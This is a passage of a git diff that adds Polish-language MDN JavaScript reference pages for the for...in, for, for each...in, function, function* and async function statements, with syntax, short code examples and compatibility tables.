własnych właściwościach obiektu, użyj {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}, albo sprawdzaj za każdym razem, czy właściwość jest właściwością własną za pomocą {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} również moży zostać użyte). Alternatywnie, jeśli jesteś pewien, że nie spowoduje to problemów w kodzie, możesz rozszerzyć wbudowane prototypy o metodę sprawdzającą, czy właściwość jest własna.</p> + +<h2 id="Dlaczego_używać_for...in">Dlaczego używać for...in?</h2> + +<p>Skoro pętla <code>for...in</code> została stworzona do iterowania po właściwościach obiektu i nie jest zalecana do pracy z tablicami, to jaki może bć z niej pożytek?</p> + +<p>Najbardziej praktyczna jest w sytuacjach związanych z debugowaniem, zapewniając łatwy sposób na sprawdzenie właściwości obiektu (wypisując je do konsoli lub gdziekolwiek indziej). Oprócz tego, są sytuacje, kiedy pary klucz-wartość są indeksowane innym typem niż liczba. Wtedy po takim "słowniku" można przeiterować za pomocą <code>for...in</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_for...in">Użycie for...in</h3> + +<p>Pętla <code>for...in</code> poniżej iteruje po wszystkich wyliczalnych właściwościach obiektu <code>obj</code> i wypisuje je do konsoli.</p> + +<pre class="brush: js notranslate">var obj = {a: 1, b: 2, c: 3}; + +for (const prop in obj) { + console.log(`obj.${prop} = ${obj[prop]}`); +} + +// Wyjście: +// "obj.a = 1" +// "obj.b = 2" +// "obj.c = 3"</pre> + +<h3 id="Iterowanie_po_własnych_właściwościach">Iterowanie po własnych właściwościach</h3> + +<p>Następny przykład pokazuje użycie {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}, aby nie wyświetlać właściwości odziedziczonych przez <code>ColoredTriangle</code>.</p> + +<pre class="brush: js notranslate">var triangle = {a: 1, b: 2, c: 3}; + +function ColoredTriangle() { + this.color = 'red'; +} + +ColoredTriangle.prototype = triangle; + +var obj = new ColoredTriangle(); + +for (const prop in obj) { + if (obj.hasOwnProperty(prop)) { + console.log(`obj.${prop} = ${obj[prop]}`); + } +} + +// Wyjście: +// "obj.color = red" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}</td> + <td>{{Spec2('ES3')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Definicja początkowa.</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.statements.for_in")}}</p> + +<h3 id="Zgodność_Wyrażenie_incjalizujące_w_trybie_ścisłym">Zgodność: Wyrażenie incjalizujące w trybie ścisłym</h3> + +<p>Przed Firefoksem 40, było możliwe używanie wyrażenia incjalizującego (<code>i=0</code>) w pętli <code>for...in</code>:</p> + +<pre class="brush: js example-bad notranslate">var obj = {a: 1, b: 2, c: 3}; +for (var i = 0 in obj) { + console.log(obj[i]); +} +// 1 +// 2 +// 3 +</pre> + +<p>To niestandardowe zachowanie jest ignorowane począwszy od wersji 40 i powoduje zgłoszenie błędu {{jsxref("SyntaxError")}} ("<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">for-in loop head declarations may not have initializers</a>") w <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">trybie ścisłym</a> ({{bug(748550)}} i {{bug(1164741)}}).</p> + +<p>Inne silniki, takie jak v8 (Chrome), Chakra (IE/Edge), i JSC (WebKit/Safari) również mogą przestać obsługiwać taką konstrukcję.</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Statements/for...of", "for...of")}} – podobna konstrukcja, która iteruje po <em>wartościach </em>właściwości</li> + <li>{{jsxref("Statements/for_each...in", "for each...in")}} {{deprecated_inline}} – wyrażenie analogiczne do <code>for...of</code>, ale zdeprecjonowane</li> + <li>{{jsxref("Statements/for", "for")}}</li> + <li><a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Wyrażenia generatora</a> (używają składni <code>for...in</code>)</li> + <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Reguły wyliczalności i własności właściwości</a></li> + <li>{{jsxref("Object.getOwnPropertyNames()")}}</li> + <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li> + <li>{{jsxref("Array.prototype.forEach()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/for/index.html b/files/pl/web/javascript/referencje/polecenia/for/index.html new file mode 100644 index 0000000000..1178c277ef --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/for/index.html @@ -0,0 +1,58 @@ +--- +title: for +slug: Web/JavaScript/Referencje/Polecenia/for +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/for +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Tworzy pętlę, która składa się z trzech opcjonalnych wyrażeń, załączonych w nawiasach i oddzielonych średnikami, po których występuje instrukcja wykonywana w pętli. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Instrukcja</td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.0, NES 2.0</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">for ([<i>wyrażenie-wstępne</i>]; [<i>warunek</i>]; [<i>wyrażenie-inkrementacji</i>]) + <i>instrukcja</i> +</pre> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>wyrażenie-wstępne</code> </dt><dd> Wyrażenie (włącznie z wyrażeniami przypisania) lub deklaracja zmiennej. Zazwyczaj używane do zainicjalizowania zmiennej licznika. Wyrażenie to może opcjonalnie deklarować nowe zmienne za pomocą słowa kluczowego <code>var</code>. Zmienne te nie są lokalne dla pętli, inaczej mówiąc, mają one taki sam zasięg jak pętla <code>for</code>. +</dd></dl> +<dl><dt> <code>warunek</code> </dt><dd> Wyrażenie sprawdzane podczas każdego przejścia przez pętlę. Jeśli warunek jest prawdziwy, wykonywana jest <code>instrukcja</code>. Sprawdzenie warunku jest opcjonalne. Jeśli zostanie pominięte, warunek jest zawsze uznawany jako prawdziwy. </dd></dl> +<dl><dt> <code>wyrażenie-inkrementacji</code> </dt><dd> Ogólnie używane do aktualizacji lub inkrementacji wartości zmiennej licznika. +</dd></dl> +<dl><dt> <code>instrukcja</code> </dt><dd> Instrukcja, wykonywana dopóki warunek oceniany jest jako prawdziwy. Aby wykonać większą ilość instrukcji wewnątrz pętli, użyj instrukcji <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/block">block</a> (<code>{ ... }</code>), aby pogrupować te instrukcje. +</dd></dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_for" name="Przyk.C5.82ad:_Zastosowanie_for"> Przykład: Zastosowanie <code>for</code> </h4> +<p>Następująca instrukcja <code>for</code> rozpoczyna się deklaracją zmiennej <code>i</code> oraz zainicjalizowaniem jej wartości początkowej <code>0</code>. Instrukcja sprawdza kolejno czy wartość zmiennej <code>i</code> jest mniejsza od dziewięciu, wykonuje dwie następujące po sobie instrukcje oraz zwiększa o 1 wartość zmiennej <code>i</code> podczas każdego kolejnego przejścia przez pętlę. +</p> +<pre class="eval">for (var i = 0; i < 9; i++) { + n += i; + myfunc(n); +} +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/while">while</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/do...while">do...while</a></code> +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/for", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/for", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/for", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/for" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/for_each...in/index.html b/files/pl/web/javascript/referencje/polecenia/for_each...in/index.html new file mode 100644 index 0000000000..52f1bb9a79 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/for_each...in/index.html @@ -0,0 +1,80 @@ +--- +title: for each...in +slug: Web/JavaScript/Referencje/Polecenia/for_each...in +tags: + - E4X + - JavaScript + - przestarzałe + - wyrażenie +translation_of: Archive/Web/JavaScript/for_each...in +--- +<div>{{jsSidebar("Statements")}}</div> + +<div class="warning"> +<p>Wyrażenie <code>for each...in</code> jest przestarzałe jako część standardu ECMA-357 (<a href="/en-US/docs/Archive/Web/E4X" title="/en-US/docs/E4X">E4X</a>), gdyż E4X nie jest już wspierany. Zamiast tego, rozważ użycie wyrażenia <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a>.<br> + <br> + <strong>Firefox obecnie ostrzega przed użyciem <code>for each...in</code> i wyrażenie to nie będzie działało od wersji Firefox 57.<br> + Zobacz <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Warning: JavaScript 1.6's for-each-in loops are deprecated</a> dla pomocy przy migracji do nowego standardu.</strong></p> +</div> + +<p><strong>Wyrażenie</strong><code> <strong>for each...in</strong></code><strong> </strong>iteruje daną zmienną po wszystkich wartościach własności obiektu (ang. <em>object's properties</em>). Podane wyrażenie jest wykonywane dla każdej oddzielnej własności.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">for each (<em>zmienna</em> in <em>obiekt</em>) { + <em>polecenie</em> +}</pre> + +<dl> + <dt><code>zmienna</code></dt> + <dd>Zmienna do iteracji po wartościach własnośic, opcjonalnie deklarowana ze słowem kluczowym <code>var</code>. Zmienna jest lokalna dla funkcji, a nie pętli.</dd> +</dl> + +<dl> + <dt><code>obiekt</code></dt> + <dd>Obiekt, po którego własnościach iterujemy.</dd> +</dl> + +<dl> + <dt><code>polecenie</code></dt> + <dd>Polecenie do wykonania dla każdej własności. Do wykonania wielu poleceń należy użyć wyrażenia <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block">block</a> (<code>{ ... }</code>), w celu zgrupowania tychże poleceń.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Niektóre z wbudowanych własności nie są iterowalne – do tej grupy zaliczają się wszystkie wbudowane metody obiektów, jak na przykład metoda <code>indexOf</code> obiektów klasy <code>String</code>. Możliwe jest jednakże iterowanie po wszystkich własnościach zdefiniowanych przez użytkownika.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_for_each...in">Użycie <code>for each...in</code></h3> + +<p><strong>Ostrzeżenie:</strong> Nigdy nie używaj takich pętli na tablicach. Wykorzystuj to tylko na obiektach. Po więcej szczegółów, przeczytaj opis wyrażenia <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>.</p> + +<p>Następujący fragment kodu iteruje po własnościach obiektu, obliczając ich sumę:</p> + +<pre class="brush:js">var sum = 0; +var obj = {prop1: 5, prop2: 13, prop3: 8}; + +for each (var item in obj) { + sum += item; +} + +console.log(sum); // logs "26", which is 5+13+8</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<p>To wyrażenie nie jest częścią aktualnej specyfikacji ECMA-262 specification. Zaimlementowane w JavaScript 1.6 i obecnie przestarzałe.</p> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.statements.for_each_in")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> – podobne wyrażenie, iterujące po <em>nazwach</em> własności;</li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> – podobne wyrażenie, iterujące po <em>wartościach</em> własności, którego można jednak używać dla typów iterowalnych, a więc nie dla obiektówgenerycznych;</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></code><a href="/en-US/docs/JavaScript/Reference/Statements/for">.</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/function/index.html b/files/pl/web/javascript/referencje/polecenia/function/index.html new file mode 100644 index 0000000000..6b9eba95dd --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/function/index.html @@ -0,0 +1,68 @@ +--- +title: function +slug: Web/JavaScript/Referencje/Polecenia/function +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/function +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Deklaruje funkcję z określonymi parametrami. +</p><p>Możesz również zdefiniować funkcję używając konstruktora <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code> oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">operator function</a></code> (wyrażenie funkcji). +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Instrukcja</td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.0, NES 2.0 +<p>JavaScript 1.5, NES 6.0: Dodano deklaracje funkcji warunkowych (rozszerzenie Netscape). +</p> +</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262 +</td> +</tr> +</tbody></table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">function <i>nazwa</i>([<i>argument</i>] [, <i>argument</i>] [..., <i>argument</i>]) { + <i>instrukcje</i> +} +</pre> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>nazwa</code> </dt><dd> Nazwa funkcji. +</dd></dl> +<dl><dt> <code>argument</code> </dt><dd> Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów. +</dd></dl> +<dl><dt> <code>instrukcje</code> </dt><dd> Instrukcje, które stanowią ciało funkcji. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Aby zwrócić wartość, funkcja musi zawierać instrukcję <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/return">return</a></code> określającą wartość, która ma zostać zwrócona. +</p><p>Funkcja utworzona za pomocą instrukcji <code>function</code> jest obiektem <code>Function</code> i posiada wszystkie własności, metody i zachowania obiektów <code>Function</code>. Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>, aby uzyskać szczegółowe informacje o funkcjach. +</p><p>Funkcja może zostać zadeklarowana również wewnątrz wyrażenia. W takim przypadku funkcja jest zazwyczaj anonimowa. Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">operator function</a></code>, aby uzyskać więcej informacji o <code>function</code> (wyrażenie funkcji). +</p><p>Funkcje mogą być deklarowane warunkowo. To znaczy, definicja funkcji może zostać zagnieżdżona wewnątrz instrukcji <code>if</code>. Technicznie rzecz biorąc, takie deklaracje nie są właściwie deklaracjami funkcji; są one wyrażeniami funkcji. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_function" name="Przyk.C5.82ad:_Zastosowanie_function"> Przykład: Zastosowanie <code>function</code> </h4> +<p>Poniższy kod deklaruje funkcję, która zwraca całkowitą kwotę sprzedaży, gdy podano liczbę sprzedanych produktów <code>a</code>, <code>b</code> i <code>c</code>. +</p> +<pre class="eval">function calc_sales(units_a, units_b, units_c) { + return units_a*79 + units_b * 129 + units_c * 699; +} +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje">Funkcje</a></code>, +<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>, +<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">function operator</a></code> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/function", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/function", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/function", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/function" } ) }} diff --git a/files/pl/web/javascript/referencje/polecenia/function_star_/index.html b/files/pl/web/javascript/referencje/polecenia/function_star_/index.html new file mode 100644 index 0000000000..5962e0c286 --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/function_star_/index.html @@ -0,0 +1,309 @@ +--- +title: function* +slug: Web/JavaScript/Referencje/Polecenia/function* +translation_of: Web/JavaScript/Reference/Statements/function* +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>Deklaracja <code><strong>function*</strong></code> (Słowo kluczowe <code>function</code> przed gwiazdką) definiuje <em>funkcję generatora</em>, która zwraca obiekt {{jsxref("Obiekty/Generator","Generator")}}.</p> + +<div class="noinclude"> +<p>Możesz także zdefinować funkcje generatora używając konstruktora {{jsxref("GeneratorFunction")}} oraz {{jsxref("Operators/function*", "function* expression")}}.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>Nazwa funkcji.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>Nazwa argumentu przekazywanego do funkcji. Funkcja może posiadać maksymalnie 255 argumentów.</dd> +</dl> + +<dl> + <dt><code>statements</code></dt> + <dd>Polecenia wypełniające ciało funkcji.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Generatory są specyficznym rodzajem funkcji, która może być zatrzymywana i wznawiana. Pomiędzy kolejnymi wznowieniami zachowany jest kontekst (variable bindings).</p> + +<p>Wywołanie funkcji generatora nie wykonuje poleceń w niej zawartych od razu; Zamiast tego, zwracany jest obiekt <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iteratora</a>. Dopiero kiedy na iteratorze wywoływana jest metoda <code>next()</code> wykonywane jest ciało funkcji, do momentu wystąpienia pierwszego wyrażenia {{jsxref("Operators/yield", "yield")}}. {{jsxref("Operators/yield", "yield")}} Określa jaka wartość zostanie zwrócona z generatora lub, jeśli użyto {{jsxref("Operators/yield*", "yield*")}}, wskazuje na kolejny do wywołania generator. Metoda <code>next()</code> zwraca obiekt z właściwością <code>value</code> zawierającą zwróconą przez {{jsxref("Operators/yield", "yield")}} wartość oraz właściowść <code>done</code> , która wskazuje czy generator zwórcił już wartość ostatniego {{jsxref("Operators/yield", "yield")}}. Wywołanie metody <code>next()</code> z argumentem, będzie wznawiało wykonywanie generatora za miejscem gdzie występował {{jsxref("Operators/yield", "yield")}} wstrzymujący generator.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Prosty_przykład">Prosty przykład</h3> + +<pre class="brush: js">function* idMaker() { + var index = 0; + while (index < 3) + yield index++; +} + +var gen = idMaker(); + +console.log(gen.next().value); // 0 +console.log(gen.next().value); // 1 +console.log(gen.next().value); // 2 +console.log(gen.next().value); // undefined +// ...</pre> + +<h3 id="Przykład_z_yield*">Przykład z yield*</h3> + +<pre class="brush: js">function* anotherGenerator(i) { + yield i + 1; + yield i + 2; + yield i + 3; +} + +function* generator(i) { + yield i; + yield* anotherGenerator(i); + yield i + 10; +} + +var gen = generator(10); + +console.log(gen.next().value); // 10 +console.log(gen.next().value); // 11 +console.log(gen.next().value); // 12 +console.log(gen.next().value); // 13 +console.log(gen.next().value); // 20 +</pre> + +<h3 id="Przekazywanie_parametrów_do_generatora">Przekazywanie parametrów do generatora</h3> + +<pre class="brush: js">function* logGenerator() { + console.log(yield); + console.log(yield); + console.log(yield); +} + +var gen = logGenerator(); + +// the first call of next executes from the start of the function +// until the first yield statement +gen.next(); +gen.next('pretzel'); // pretzel +gen.next('california'); // california +gen.next('mayonnaise'); // mayonnaise +</pre> + +<h3 id="Wyrażenie_return_wewnątrz_generatora">Wyrażenie return wewnątrz generatora</h3> + +<pre class="brush: js">function* yieldAndReturn() { + yield "Y"; + return "R"; + yield "unreachable"; +} + +var gen = yieldAndReturn() +console.log(gen.next()); // { value: "Y", done: false } +console.log(gen.next()); // { value: "R", done: true } +console.log(gen.next()); // { value: undefined, done: true }</pre> + +<h3 id="Generator_nie_jest_typowym_konstruktorem">Generator nie jest typowym konstruktorem</h3> + +<pre class="brush: js example-bad">function* f() {} +var obj = new f; // throws "TypeError: f is not a constructor"</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ES2015', '#', 'function*')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES2016', '#', 'function*')}}</td> + <td>{{Spec2('ES2016')}}</td> + <td>Changed that generators should not have [[Construct]] trap and will throw when used with <code>new</code>.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#', 'function*')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th> Edge</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(39.0)}}</td> + <td>{{CompatGeckoDesktop("26.0")}}</td> + <td>{{CompatNo}}</td> + <td>13</td> + <td>26</td> + <td>{{CompatSafari("10")}}</td> + </tr> + <tr> + <td><code>yield*</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("27.0")}}</td> + <td>{{CompatNo}}</td> + <td>13</td> + <td>26</td> + <td>{{CompatSafari("10")}}</td> + </tr> + <tr> + <td><code>IteratorResult</code> object instead of throwing</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("29.0")}}</td> + <td>{{CompatNo}}</td> + <td>13</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Not constructable with <code>new</code> as per ES2016</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("43.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Trailing comma in parameters</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("52.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("26.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatSafari("10")}}</td> + <td>{{CompatChrome(39.0)}}</td> + </tr> + <tr> + <td><code>yield*</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("27.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatSafari("10")}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>IteratorResult</code> object instead of throwing</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("29.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Not constructable with <code>new</code> as per ES2016</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("43.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Trailing comma in parameters</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("52.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Firefox-specific_notes">Firefox-specific notes</h2> + +<h4 id="Generatory_i_iteratory_w_Firefox_przed_wersją_26">Generatory i iteratory w Firefox przed wersją 26</h4> + +<p>Starsze wersje Firefox implementują nieco inną, bardziej archaiczną propozycje specyfikacji. W starszych wersjach definiowanie generatorów odbywało się za pomocą wyłącznie słowa kluczowego <code>function</code> (bez dodatkowej gwiazdki). Tą i wiele innych drobnych różnic można sprawdzić na <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">Legacy generator function</a>.</p> + +<h4 id="IteratorResult_zwraca_obiekt_zamiast_rzucać_wyjątek"><code>IteratorResult</code> zwraca obiekt zamiast rzucać wyjątek</h4> + +<p>Począwszy od silnika Gecko 29 {{geckoRelease(29)}}, zakończony generator nie rzuca już więcej wyjątkami {{jsxref("TypeError")}} "generator has already finished". W zamian za to zwraca obiekt <code>IteratorResult</code> w postaci <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("GeneratorFunction")}} object</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> + <li>{{jsxref("Operators/yield", "yield")}}</li> + <li>{{jsxref("Operators/yield*", "yield*")}}</li> + <li>{{jsxref("Function")}} object</li> + <li>{{jsxref("Statements/function", "function declaration")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li> + <li>Other web resources: + <ul> + <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> an ES2015 generator compiler to ES5</li> + <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li> + <li><a href="https://www.youtube.com/watch?v=ZrgEZykBHVo&list=PLuoyIZT5fPlG44bPq50Wgh0INxykdrYX7&index=1">Hemanth.HM: The New gen of *gen(){}</a></li> + <li><a href="http://taskjs.org/">Task.js</a></li> + </ul> + </li> +</ul> diff --git a/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html b/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html new file mode 100644 index 0000000000..95b488405e --- /dev/null +++ b/files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html @@ -0,0 +1,264 @@ +--- +title: funkcja async +slug: Web/JavaScript/Referencje/Polecenia/funkcja_async +translation_of: Web/JavaScript/Reference/Statements/async_function +--- +<div> +<div>{{jsSidebar("Statements")}}</div> + +<p><span class="seoSummary">Deklaracja funkcji <code><strong>async</strong></code> definiuje <strong>funkcję asynchroniczną</strong>, która zwraca obiekt {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}.</span> Funkcja asynchroniczna to funkcja, która działa asynchroniczne poprzez zdarzenie pętli używając bezwarunkowego {{jsxref("Promise")}} do zwrócenia wyniku. Składnia i struktura kodu używanego przy funkcjach asynchronicznych jest jednakże bardziej podobna do znanych ze standardowych funkcji synchronicznych.</p> + +<div class="noinclude"> +<p>Możesz zdefiniować funkcje asynchroniczne również poprzez użycie {{jsxref("Operators/async_function", "async function expression", "", 1)}}.</p> +</div> +</div> + 